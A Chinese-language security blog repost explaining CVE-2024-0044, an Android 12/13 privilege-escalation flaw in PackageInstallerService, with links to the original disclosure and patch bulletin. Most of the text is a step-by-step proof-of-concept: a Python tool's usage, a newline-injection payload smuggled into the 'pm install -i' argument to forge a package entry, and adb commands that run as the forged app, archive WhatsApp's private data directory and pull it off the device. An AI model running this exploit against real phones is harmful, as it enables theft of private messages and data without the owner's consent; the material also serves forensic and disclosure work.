为啥取证厂商扎堆突破安卓12/13提权?来看看CVE-2024-0044高严重性漏洞

为啥取证厂商扎堆突破安卓12/13提权?来看看CVE-2024-0044高严重性漏洞

Ots安全 取证者联盟 2024-07-02 20:58

CVE 2024 0044

CVE-2024-0044 位于 PackageInstallerService.java 文件的 createSessionInternal 函数中,是一个影响 
Android 12
 和 13 版本的高严重性漏洞。此漏洞允许攻击者执行“以任何应用身份运行”攻击,从而导致本地特权提升而无需用户交互。此问题是由于 createSessionInternal 函数中的输入验证不当而引起的。攻击者可以通过操纵会话创建过程来利用此漏洞,从而可能未经授权访问敏感数据并在受影响的设备上执行未经授权的操作

该漏洞由Meta Security发现:

https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

Tiny hack总结并分享了概念证明:

Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044

有关安全补丁的详细信息,请参阅Android 安全公告:

https://source.android.com/docs/security/bulletin/2024-03-01

先决条件

在手机上启用 USB 调试,然后使用 USB 数据线或无线调试将其连接到您的机器

下载任意 apk 到你的机器上,你都可以使用F-DROID

如何使用该工具

python3 cve_2024_0044.py -h

##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#      

usage: cve_2024_0044.py [-h] -P P -A A

CVE-2024-0044: run-as any app @Pl4int3xt

options:
  -h, --help  show this help message and exit
  -P P        package name (default: None)
  -A A        apk file path (default: None)
  • -P用于指定要作为目标包运行

  • -A指定设备中要推送的 apk 文件

开发

运行工具 
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk

payload.txt 将生成如下文件

PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk

该工具自动执行部分操作,其他部分则需要手动操作。您可以在生成有效负载后退出并手动运行所有命令,也可以按照说明继续操作

接下来,你需要使用 adb shell 连接到你的设备并粘贴有效载荷,并确保Success在最后一个命令后收到一条消息

pl4int3xt ~>  adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success

接下来我们使用以下命令获取 whatsapp 数据

pixel:/ $ mkdir /data/local/tmp/wa/                                                                            
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp

创建临时目录:
mkdir /data/local/tmp/wa/

为 tar 文件创建占位符:
touch /data/local/tmp/wa/wa.tar

设置完全开放的权限:
chmod -R 0777 /data/local/tmp/wa/确保任何用户都可以在此目录中读取、写入和执行。

切换用户上下文:
run-as victim 获得与“受害者”用户相同的权限。

存档目标应用程序的数据:
tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
,创建 WhatsApp 数据目录的 
tarball

最后拉取数据

adb pull /data/local/tmp/wa/wa.tar

7z您可以使用或任何其他工具提取数据

您可以使用Whatsapp 聊天导出器将其转换为 HTML

这允许您在设备上无需 root 权限即可获取 whatsapp 数据

https://github.com/pl4int3xt/cve_2024_0044